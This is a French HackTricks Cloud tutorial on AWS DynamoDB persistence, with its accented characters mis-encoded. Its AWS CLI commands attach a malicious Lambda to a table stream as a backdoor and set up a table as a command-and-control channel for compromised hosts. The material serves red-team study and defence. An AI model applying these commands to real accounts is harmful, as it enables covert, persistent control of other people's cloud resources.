AWS - DynamoDB Persistance
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
DynamoDB
Pour plus dâinformations, consultez :
Déclencheurs DynamoDB avec Lambda Backdoor
En utilisant les dĂ©clencheurs DynamoDB, un attaquant peut crĂ©er une backdoor furtive en associant une fonction Lambda malveillante Ă une table. La fonction Lambda peut ĂȘtre dĂ©clenchĂ©e lorsquâun Ă©lĂ©ment est ajoutĂ©, modifiĂ© ou supprimĂ©, permettant Ă lâattaquant dâexĂ©cuter du code arbitraire dans le compte AWS.
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
Pour maintenir la persistance, lâattaquant peut crĂ©er ou modifier des Ă©lĂ©ments dans la table DynamoDB, ce qui dĂ©clenchera la fonction Lambda malveillante. Cela permet Ă lâattaquant dâexĂ©cuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda.
DynamoDB comme un command and control (C2) channel
Un attaquant peut utiliser une table DynamoDB comme un command and control (C2) channel en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
Les instances compromises ou les fonctions Lambda peuvent pĂ©riodiquement consulter la C2 table pour de nouvelles commandes, les exĂ©cuter et, Ă©ventuellement, rapporter les rĂ©sultats dans la table. Cela permet Ă lâattaquant de maintenir persistence et contrĂŽle sur les ressources compromises.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

